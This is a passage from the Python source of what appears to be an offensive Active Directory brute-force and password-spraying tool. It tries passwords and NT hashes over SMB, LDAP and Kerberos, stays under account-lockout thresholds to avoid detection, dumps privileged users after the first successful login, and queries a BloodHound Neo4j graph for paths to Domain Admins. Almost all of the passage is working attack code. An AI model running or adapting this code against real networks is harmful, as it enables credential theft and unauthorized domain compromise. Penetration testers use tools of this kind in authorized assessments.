1058 | self.table.caption = self.table.caption.split('\n [yellow3]Pass[/]: ')[0] + "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1059 | k += 1
1060 | success = self.smart_try_password_or_hash(user_dn=user_dn, password=password.rstrip(), password_hash=None)
1061 | if success == True or success is None:
1062 | break
1063 | else:
1064 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file)
1065 | elif self.options.bf_hash is not None:
1066 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (1,1,100)
1067 | self.smart_try_password_or_hash(user_dn=user_dn, password=None, password_hash=self.options.bf_hash)
1068 | elif self.options.bf_hashes_file is not None:
1069 | if os.path.exists(self.options.bf_hashes_file):
1070 | with open(self.options.bf_hashes_file, "r") as bf_hashes_file:
1071 | bf_hashes_file = bf_hashes_file.readlines()
1072 | # Keeping only NT hashes
1073 | filtered_hashes, line_no = [], 1
1074 | for h in bf_hashes_file:
1075 | line_no += 1
1076 | h = h.strip()
1077 | if re.match('[0-9a-f]{32}',h.lower()):
1078 | filtered_hashes.append(h.lower())
1079 | else:
1080 | logger.error("Skipping (%s) on line %d from hashes list as it does not match the NT format." % (h, line_no))
1081 | # Starting bruteforce with the filtered_hashes
1082 | k, maxi = 1, len(bf_hashes_file)
1083 | for password_hash in bf_hashes_file:
1084 | if "\n [yellow3]Hash[/]: " not in self.table.caption:
1085 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1086 | else:
1087 | self.table.caption = self.table.caption.split('\n [yellow3]Hash[/]: ')[0] + "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1088 | k += 1
1089 | success = self.smart_try_password_or_hash(user_dn=user_dn, password=None, password_hash=password_hash.rstrip())
1090 | if success == True or success is None:
1091 | break
1092 | else:
1093 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file)
1094 | elif self.options.user_as_password:
1095 | user = self.users[user_dn]["sAMAccountName"]
1096 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (1,1,100)
1097 | self.smart_try_password_or_hash(user_dn=user_dn, password=user, password_hash=None)
1098 | else:
1099 | logger.warning("There is nothing to be done here, no password/hash (or list of) supplied.")
1100 | logger.warning("This is not supposed to happen, exiting...")
1101 | exit(0)
1102 |
1103 |
1104 | def smart_try_password_or_hash(self, user_dn, password=None, password_hash=None):
1105 | logger.debug("")
1106 | if (self.users[user_dn]["lockoutThreshold"] - self.users[user_dn]["badPwdCount"] > self.options.lockout_threshold) or self.users[user_dn]["lockoutThreshold"] == 0:
1107 | user = self.users[user_dn]["sAMAccountName"]
1108 | if self.options.bruteforced_protocol == "ntlm":
1109 | if self.options.auth_domain is None:
1110 | # this is not supposed to happen
1111 | logger.error("This is not supposed to happen, no domain was set (error: 1337-B1)")
1112 | domain = ""
1113 | else:
1114 | domain = self.options.auth_domain
1115 | if self.options.dc_ip is not None:
1116 | target = self.options.dc_ip
1117 | else:
1118 | target = domain
1119 |
1120 | if self.options.application_protocol == "smb":
1121 | auth, details = self.ntlm.SMB_authentication(target=target, domain=domain, user=user, password=password, nt_hash=password_hash)
1122 | elif self.options.application_protocol == "ldap":
1123 |
1124 | # Handling LDAPS
1125 | if self.options.auth_use_ldaps:
1126 | try:
1127 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1128 | except:
1129 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1130 | else:
1131 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1132 |
1133 | # LDAP authentication doesn't throw errors indicating is the user is disabled or something...
1134 | details = ""
1135 | self.handle_auth_results(domain=domain, user=user, user_dn=user_dn, password=password, password_hash=password_hash, auth=auth, details=details)
1136 | # I'm returning auth instead of True or False because there are scenarios where auth==None, example: when an SMB auth is ok but throws an error on the account (disabled for instance)
1137 | return auth
1138 | elif self.options.bruteforced_protocol == "kerberos":
1139 | if self.options.kdc_ip is not None:
1140 | target = self.options.kdc_ip
1141 | else:
1142 | target = self.options.auth_domain
1143 | if user not in self.kerberos.disabled_account and user not in self.kerberos.principal_unknown:
1144 | try:
1145 | auth, details = self.kerberos.pre_authentication(target=target, domain=self.options.auth_domain, user=user, password=password, rc4_key=password_hash, etype=self.options.etype, tproto=self.options.transport_protocol)
1146 | self.handle_auth_results(domain=self.options.auth_domain, user=user, user_dn=user_dn, password=password, password_hash=password_hash, auth=auth, details=details)
1147 | if auth:
1148 | return True
1149 | else:
1150 | return False
1151 | except Exception as pre_auth_error:
1152 | logger.error(pre_auth_error)
1153 | return None
1154 | else:
1155 | logger.debug("Maximum attempts reached for user %s, reduce --lockout-threshold to bypass" % self.users[user_dn]["sAMAccountName"])
1156 |
1157 |
1158 | def bruteforce_attack(self):
1159 | if self.options.bf_user is not None:
1160 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (1,1,100,self.options.bf_user.rstrip())
1161 | self.bruteforce_try_user(self.options.bf_user)
1162 | elif self.options.line_per_line and self.options.bf_users_file is not None and (self.options.bf_passwords_file is not None or self.options.bf_hashes_file is not None):
1163 | users = []
1164 | if os.path.exists(self.options.bf_users_file):
1165 | with open(self.options.bf_users_file, "r") as bf_users_file:
1166 | for user in bf_users_file:
1167 | users.append(user.rstrip())
1168 | if self.options.bf_passwords_file is not None:
1169 | passwords = []
1170 | if os.path.exists(self.options.bf_passwords_file):
1171 | with open(self.options.bf_passwords_file, "r") as bf_passwords_file:
1172 | for password in bf_passwords_file.readlines():
1173 | passwords.append(password.rstrip())
1174 | if len(users) != len(passwords):
1175 | logger.error("Mismatch between the number of users (%d) and the number of passwords (%d), can't try line per line, exiting..." % (len(users), len(passwords)))
1176 | exit(0)
1177 | else:
1178 | maxi = len(users)
1179 | for i in range(len(users)):
1180 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (i, maxi, round(i/maxi*100,1), users[i].rstrip())
1181 | success = self.bruteforce_try_password_or_hash(user=users[i], password=passwords[i], password_hash=None)
1182 | if success == True and self.options.stop_on_success == True:
1183 | logger.debug("Stopping on first successful auth")
1184 | exit(0)
1185 | time.sleep(self.options.delay)
1186 | elif self.options.bf_hashes_file is not None:
1187 | password_hashes = []
1188 | if os.path.exists(self.options.bf_hashes_file):
1189 | with open(self.options.bf_hashes_file, "r") as bf_hashes_file:
1190 | for password_hash in bf_hashes_file.readlines():
1191 | password_hashes.append(password_hash.rstrip())
1192 | # Keeping only NT hashes
1193 | filtered_hashes, line_no = [], 1
1194 | for h in password_hashes:
1195 | line_no += 1
1196 | h = h.strip()
1197 | if re.match('[0-9a-f]{32}',h.lower()):
1198 | filtered_hashes.append(h.lower())
1199 | else:
1200 | logger.error("Skipping (%s) on line %d from hashes list as it does not match the NT format." % (h, line_no))
1201 | password_hashes = filtered_hashes
1202 | # Starting bruteforce line by line
1203 | if len(users) != len(password_hashes):
1204 | logger.error("Mismatch between the number of users (%d) and the number of password hashes (%d), can't try line per line, exiting..." % (len(users), len(password_hashes)))
1205 | exit(0)
1206 | else:
1207 | maxi = len(users)
1208 | for i in range(len(users)):
1209 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (i, maxi, round(i/maxi*100,1), users[i].rstrip())
1210 | success = self.bruteforce_try_password_or_hash(user=users[i], password=None, password_hash=password_hashes[i])
1211 | if success == True and self.options.stop_on_success == True:
1212 | logger.debug("Stopping on first successful auth")
1213 | exit(0)
1214 | time.sleep(self.options.delay)
1215 |
1216 | elif self.options.bf_users_file is not None:
1217 | if os.path.exists(self.options.bf_users_file):
1218 | with open(self.options.bf_users_file, "r") as bf_users_file:
1219 | bf_users_file = bf_users_file.readlines()
1220 | k, maxi = 1, len(bf_users_file)
1221 | for user in bf_users_file:
1222 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k/maxi*100,1),user.rstrip())
1223 | k += 1
1224 | success = self.bruteforce_try_user(user.rstrip())
1225 | if success == True and self.options.stop_on_success == True:
1226 | logger.debug("Stopping on first successful auth")
1227 | exit(0)
1228 | time.sleep(self.options.delay)
1229 | else:
1230 | logger.error("File (%s) does not exist" % self.options.bf_users_file)
1231 | else:
1232 | logger.error("No user (or list of users) was supplied, there is nothing to bruteforce")
1233 |
1234 | def bruteforce_try_user(self, user):
1235 | # Bruteforce with passwords
1236 | if self.options.bf_password is not None:
1237 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (1,1,100)
1238 | return self.bruteforce_try_password_or_hash(user=user, password=self.options.bf_password, password_hash=None)
1239 | elif self.options.bf_passwords_file is not None:
1240 | if os.path.exists(self.options.bf_passwords_file):
1241 | with open(self.options.bf_passwords_file, "r") as bf_passwords_file:
1242 | bf_passwords_file = bf_passwords_file.readlines()
1243 | k, maxi = 1, len(bf_passwords_file)
1244 | for password in bf_passwords_file:
1245 | if "\n [yellow3]Pass[/]: " not in self.table.caption:
1246 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1247 | else:
1248 | self.table.caption = self.table.caption.split('\n [yellow3]Pass[/]: ')[0] + "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1249 | k += 1
1250 | success = self.bruteforce_try_password_or_hash(user=user, password=password.rstrip(), password_hash=None)
1251 | if success == True or success is None:
1252 | return success
1253 | time.sleep(self.options.delay)
1254 | else:
1255 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file)
1256 | # Bruteforce with hashes
1257 | elif self.options.bf_hash is not None:
1258 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (1,1,100)
1259 | return self.bruteforce_try_password_or_hash(user=user, password=None, password_hash=self.options.bf_hash)
1260 | elif self.options.bf_hashes_file is not None:
1261 | if os.path.exists(self.options.bf_hashes_file):
1262 | with open(self.options.bf_hashes_file, "r") as bf_hashes_file:
1263 | bf_hashes_file = bf_hashes_file.readlines()
1264 | # Keeping only NT hashes
1265 | filtered_hashes, line_no = [], 1
1266 | for h in bf_hashes_file:
1267 | line_no += 1
1268 | h = h.strip()
1269 | if re.match('[0-9a-f]{32}',h.lower()):
1270 | filtered_hashes.append(h.lower())
1271 | else:
1272 | logger.error("Skipping (%s) on line %d from hashes list as it does not match the NT format." % (h, line_no))
1273 | # Starting bruteforce with the filtered_hashes
1274 | k, maxi = 1, len(filtered_hashes)
1275 | for password_hash in filtered_hashes:
1276 | if "\n [yellow3]Hash[/]: " not in self.table.caption:
1277 | self.table.caption += "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1278 | else:
1279 | self.table.caption = self.table.caption.split('\n [yellow3]Hash[/]: ')[0] + "\n [yellow3]Hash[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1280 | k += 1
1281 | success = self.bruteforce_try_password_or_hash(user=user, password=None, password_hash=password_hash.rstrip())
1282 | if success == True or success is None:
1283 | return success
1284 | time.sleep(self.options.delay)
1285 | else:
1286 | logger.error("File (%s) does not exist" % self.options.bf_passwords_file)
1287 | elif self.options.user_as_password:
1288 | return self.bruteforce_try_password_or_hash(user=user, password=user, password_hash=None)
1289 | else:
1290 | logger.error("You're not supposed to be here, LEAVE !!! (or debug me senpai)")
1291 | exit(0)
1292 | # if self.options.bruteforced_protocol == "kerberos":
1293 | # if self.options.kdc_ip is not None:
1294 | # target = self.options.kdc_ip
1295 | # else:
1296 | # target = self.options.domain
1297 | # salts = self.kerberos.get_users_salts(target=target, domain=self.options.domain, user=user, rc4_key="", etype=self.options.etype, tproto=self.options.transport_protocol)
1298 | # if user in self.kerberos.disabled_account:
1299 | # details = "[magenta]disabled[/magenta]"
1300 | # self.table.add_row(self.options.domain, user, details)
1301 | # elif salts:
1302 | # self.table.add_row(self.options.domain, user, "")
1303 | # elif self.options.bruteforced_protocol == "ntlm":
1304 | # logger.error("No password (or list of passwords) was supplied, users enumeration attack is not possible through ntlm, try with kerberos")
1305 | # exit(0)
1306 |
1307 |
1308 | def bruteforce_try_password_or_hash(self, user, password=None, password_hash=None):
1309 | logger.debug("")
1310 | if self.options.bruteforced_protocol == "ntlm":
1311 | if self.options.domain is None:
1312 | domain = ""
1313 | else:
1314 | domain = self.options.domain
1315 | if self.options.dc_ip is not None:
1316 | target = self.options.dc_ip
1317 | else:
1318 | target = domain
1319 |
1320 | if self.options.application_protocol == "smb":
1321 | auth, details = self.ntlm.SMB_authentication(target=target, domain=domain, user=user, password=password, nt_hash=password_hash)
1322 | if auth != True and auth != False and not self.domain_is_dumped and not self.options.no_enumeration:
1323 | if domain == "":
1324 | logger.verbose("No domain supplied, skipping domain dump despite valid authentication")
1325 | else:
1326 | logger.verbose("First successful auth! Starting domain dump to find privileged users")
1327 |
1328 | # Handling LDAPS
1329 | if self.options.auth_use_ldaps:
1330 | try:
1331 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1332 | except:
1333 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1334 | else:
1335 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1336 |
1337 | if ldap_connection:
1338 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.domain)
1339 | self.domain_is_dumped = True
1340 | logger.verbose("Domain enumeration is over, resuming attack")
1341 | self.handle_auth_results(domain=domain, user=user, user_dn=None, password=password, password_hash=password_hash, auth=auth, details=details)
1342 | return auth
1343 | elif self.options.application_protocol == "ldap":
1344 |
1345 | # Handling LDAPS
1346 | if self.options.auth_use_ldaps:
1347 | try:
1348 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1349 | except:
1350 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1351 | else:
1352 | auth = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1353 |
1354 | # LDAP authentication doesn't throw errors indicating is the user is disabled or something...
1355 | details = ""
1356 | if auth and not self.domain_is_dumped and not self.options.no_enumeration:
1357 | if domain == "":
1358 | logger.verbose("No domain supplied, skipping domain dump despite valid authentication")
1359 | else:
1360 | logger.verbose("First successful auth! Starting domain dump to find privileged users")
1361 |
1362 | # Handling LDAPS
1363 | if self.options.auth_use_ldaps:
1364 | try:
1365 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1366 | except:
1367 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1368 | else:
1369 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=domain, user=user, password=password, lm_hash=None, nt_hash=password_hash)
1370 |
1371 | if ldap_connection:
1372 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.domain)
1373 | self.domain_is_dumped = True
1374 | logger.verbose("Domain enumeration is over, resuming attack")
1375 | self.handle_auth_results(domain=domain, user=user, user_dn=None, password=password, password_hash=password_hash, auth=auth, details=details)
1376 | if auth:
1377 | return True
1378 | else:
1379 | return False
1380 | elif self.options.bruteforced_protocol == "kerberos":
1381 | if self.options.kdc_ip is not None:
1382 | target = self.options.kdc_ip
1383 | else:
1384 | target = self.options.domain
1385 | if user not in self.kerberos.disabled_account and user not in self.kerberos.principal_unknown:
1386 | try:
1387 | auth, details = self.kerberos.pre_authentication(target=target, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, etype=self.options.etype, tproto=self.options.transport_protocol)
1388 | if auth and not self.domain_is_dumped and not self.options.no_enumeration:
1389 | logger.verbose("First successful auth! Starting domain dump to find privileged users")
1390 |
1391 | if self.options.auth_use_ldaps:
1392 | try:
1393 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, aes_key=None, ccache_ticket=None, dc_host=self.options.dc_host)
1394 | except:
1395 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=target, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, aes_key=None, ccache_ticket=None, dc_host=self.options.dc_host)
1396 | else:
1397 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=target, tls_version=None, domain=self.options.domain, user=user, password=password, rc4_key=password_hash, aes_key=None, ccache_ticket=None, dc_host=self.options.dc_host)
1398 |
1399 | if ldap_connection:
1400 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.domain)
1401 | self.domain_is_dumped = True
1402 | logger.verbose("Domain enumeration is over, resuming attack")
1403 | self.handle_auth_results(domain=self.options.domain, user=user, user_dn=None, password=password, password_hash=password_hash, auth=auth, details=details)
1404 | if user in self.kerberos.disabled_account or user in self.kerberos.principal_unknown:
1405 | # returning None, because then, we don't want to continue bruteforce on an account that we know to be disabled or unknown
1406 | return None
1407 | else:
1408 | if auth:
1409 | return True
1410 | else:
1411 | return False
1412 | except Exception as pre_auth_error:
1413 | logger.error(pre_auth_error)
1414 | return None
1415 |
1416 |
1417 | class Neo4jConnection:
1418 | class Options:
1419 | def __init__(self, host, user, password, port, log, edge_blacklist=None):
1420 | self.user = user
1421 | self.password = password
1422 | self.host = host
1423 | self.port = port
1424 | self.log = log
1425 | self.edge_blacklist = edge_blacklist if edge_blacklist is not None else []
1426 |
1427 | def __init__(self, options):
1428 | self.user = options.user
1429 | self.password = options.password
1430 | self.log = options.log
1431 | self.edge_blacklist = options.edge_blacklist
1432 | self._uri = "bolt://{}:{}".format(options.host, options.port)
1433 | try:
1434 | self._get_driver()
1435 | except Exception as e:
1436 | self.log.error("Failed to connect to Neo4J database")
1437 | raise
1438 |
1439 | def set_as_owned(self, username, domain):
1440 | user = self._format_username(username, domain)
1441 | query = "MATCH (u:User {{name:\"{}\"}}) SET u.owned=True RETURN u.name AS name".format(user)
1442 | self.log.debug("Query : {}".format(query))
1443 | result = self._run_query(query)
1444 | if len(result) > 0:
1445 | return ERROR_SUCCESS
1446 | else:
1447 | return ERROR_NEO4J_NON_EXISTENT_NODE
1448 |
1449 | def bloodhound_analysis(self, username, domain):
1450 |
1451 | edges = [
1452 | "MemberOf",
1453 | "HasSession",
1454 | "AdminTo",
1455 | "AllExtendedRights",
1456 | "AddMember",
1457 | "ForceChangePassword",
1458 | "GenericAll",
1459 | "GenericWrite",
1460 | "Owns",
1461 | "WriteDacl",
1462 | "WriteOwner",
1463 | "CanRDP",
1464 | "ExecuteDCOM",
1465 | "AllowedToDelegate",
1466 | "ReadLAPSPassword",
1467 | "Contains",
1468 | "GpLink",
1469 | "AddAllowedToAct",
1470 | "AllowedToAct",
1471 | "SQLAdmin"
1472 | ]
1473 | # Remove blacklisted edges
1474 | without_edges = [e.lower() for e in self.edge_blacklist]
1475 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
1476 |
1477 | user = self._format_username(username, domain)
1478 | value = None
1479 |
1480 | with self._driver.session() as session:
1481 | with session.begin_transaction() as tx:
1482 | query = """
1483 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
1484 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
1485 | RETURN COUNT(p) AS pathNb
1486 | """.format(user, '|'.join(effective_edges))
1487 |
1488 | self.log.debug("Query : {}".format(query))
1489 | value = tx.run(query).value()
1490 | return ERROR_SUCCESS if value[0] > 0 else ERROR_NO_PATH
1491 |
1492 | def clean(self):
1493 | if self._driver is not None:
1494 | self._driver.close()
1495 | return ERROR_SUCCESS
1496 |
1497 | def _run_query(self, query):
1498 | value = None
1499 | with self._driver.session() as session:
1500 | with session.begin_transaction() as tx:
1501 | res = tx.run(query)
1502 | value = res.value()
1503 | return value
1504 |
1505 | def _get_driver(self):
1506 | try:
1507 | self._driver = GraphDatabase.driver(self._uri, auth=(self.user, self.password))
1508 | return ERROR_SUCCESS
1509 | except AuthError as e:
1510 | self.log.error("Neo4j invalid credentials {}:{}".format(self.user, self.password))
1511 | raise
1512 | except ServiceUnavailable as e:
1513 | self.log.error("Neo4j database unavailable at {}".format(self._uri))
1514 | raise
1515 | except Exception as e:
1516 | self.log.error("An unexpected error occurred while connecting to Neo4J database {} ({}:{})".format(self._uri, self.user, self.password))
1517 | raise
1518 |
1519 | @staticmethod
1520 | def _format_username(user, domain):
1521 | return (user + "@" + domain).upper()
1522 |
1523 |
1524 | class Logger(object):
1525 | def __init__(self, verbosity=0, quiet=False):
1526 | self.verbosity = verbosity
1527 | self.quiet = quiet
1528 | if verbosity == 3:
1529 | print("༼ つ ◕_◕ ༽つ TAKE MY ENERGY ༼ つ ◕_◕ ༽つ")
1530 | exit(0)
1531 | elif verbosity == 4:
1532 | art = """⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1533 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1534 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1535 | ⠀⠀⠀⠀⠀⠀⠀⣠⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1536 | ⠀⠀⠀⠀⠀⠀⣼⡟⠉⠉⠀⠀⠀⠀⢀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1537 | ⠀⠀⠀⠀⠀⠀⢿⣇⠀⠀⠀⠀⣠⣶⣿⠿⣿⣿⡿⣷⡀⠸⣿⣶⡀⠀⠀⠀⠀⠀
1538 | ⠀⠀⠀⠀⠀⠀⠘⢿⣆⠀⣠⣾⣿⣿⣿⣶⣿⣿⣶⣿⠁⠀⣠⣿⡇⠀⠀⠀⠀⠀
1539 | ⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢛⣁⣤⣴⣿⠟⠁⠀ What you gonna do bruh ?
1540 | ⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀
1541 | ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1542 | ⠀⠀⠀⠀⠀⠀⠀⣿⣿⡟⠉⠉⠀⠀⠈⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1543 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⠁⠀⠀⠀⠀⠀⢻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1544 | ⠀⠀⠀⠀⠀⠀⣾⣿⠇⠀⠀⠀⠀⠀⠀⠀⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1545 | ⠀⠀⠀⠀⠀⠀⠹⢿⠁⡀⠀⠀⠀⠀⠀⠀⠸⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1546 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
1547 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀"""
1548 | print(art)
1549 | exit(0)
1550 | elif verbosity == 5:
1551 | art = """
1552 | 🌕🌕🌕🌕🌕🌕🌕🌕🌕
1553 | 🌕🌕🌕🌕🌕🎩🌕🌕🌕
1554 | 🌕🌕🌕🌕🌘🌑🌒🌕🌕
1555 | 🌕🌕🌕🌘🌑🌑🌑🌓🌕
1556 | 🌕🌕🌖🌑👁🌑👁🌓🌕
1557 | 🌕🌕🌗🌑🌑👄🌑🌔🌕
1558 | 🌕🌕🌘🌑🌑🌑🌒🌕🌕
1559 | 🌕🌕🌘🌑🌑🎀🌓🌕🌕
1560 | 🌕🌕🌘🌑🌑🌑🌔🌕🌕
1561 | 🌕🌕🌘🌔🍆🌑🌕🌕🌕
1562 | 🌕🌖🌒🌕🌗🌒🌕🌕🌕
1563 | 🌕🌗🌓🌕🌗🌓🌕🌕🌕
1564 | 🌕🌘🌔🌕🌗🌓🌕🌕🌕
1565 | 🌕👠🌕🌕🌕👠🌕🌕🌕"""
1566 | print(art)
1567 | exit(0)
1568 |
1569 | elif verbosity == 6:
1570 | art = """
1571 | ⣿⣿⣷⡁⢆⠈⠕⢕⢂⢕⢂⢕⢂⢔⢂⢕⢄⠂⣂⠂⠆⢂⢕⢂⢕⢂⢕⢂⢕⢂
1572 | ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕
1573 | ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂
1574 | ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂
1575 | ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔
1576 | ⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿
1577 | ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿
1578 | ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃
1579 | ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈
1580 | ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈
1581 | ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈
1582 | ⠄⠁⠕⢝⡢⠈⠻⣿⣿⣿⣿⣿⣿⣿⣷⣕⣑⣑⣑⣵⣿⣿⣿⡿⢋⢔⢕⣿⠠⠈
1583 | ⠨⡂⡀⢑⢕⡅⠂⠄⠉⠛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢋⢔⢕⢕⣿⣿⠠⠈
1584 | ⠄⠪⣂⠁⢕⠆⠄⠂⠄⠁⡀⠂⡀⠄⢈⠉⢍⢛⢛⢛⢋⢔⢕⢕⢕⣽⣿⣿⠠⠈
1585 | yamete kudasai !!!"""
1586 | print(art)
1587 | exit(0)
1588 | elif verbosity > 6:
1589 | print("Sorry bruh, no more easter eggs")
1590 | exit(0)
1591 |
1592 | def debug(self, message):
1593 | if self.verbosity == 2:
1594 | console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False)
1595 |
1596 | def verbose(self, message):
1597 | if self.verbosity >= 1:
1598 | console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False)
1599 |
1600 | def info(self, message):
1601 | if not self.quiet:
1602 | console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False)
1603 |
1604 | def success(self, message):
1605 | if not self.quiet:
1606 | console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False)
1607 |
1608 | def warning(self, message):
1609 | if not self.quiet:
1610 | console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False)
1611 |
1612 | def error(self, message):
1613 | if not self.quiet:
1614 | console.print("{}[!]{} {}".format("[bold red]", "[/bold red]", message), highlight=False)
1615 |
1616 |
1617 | def print_banner():
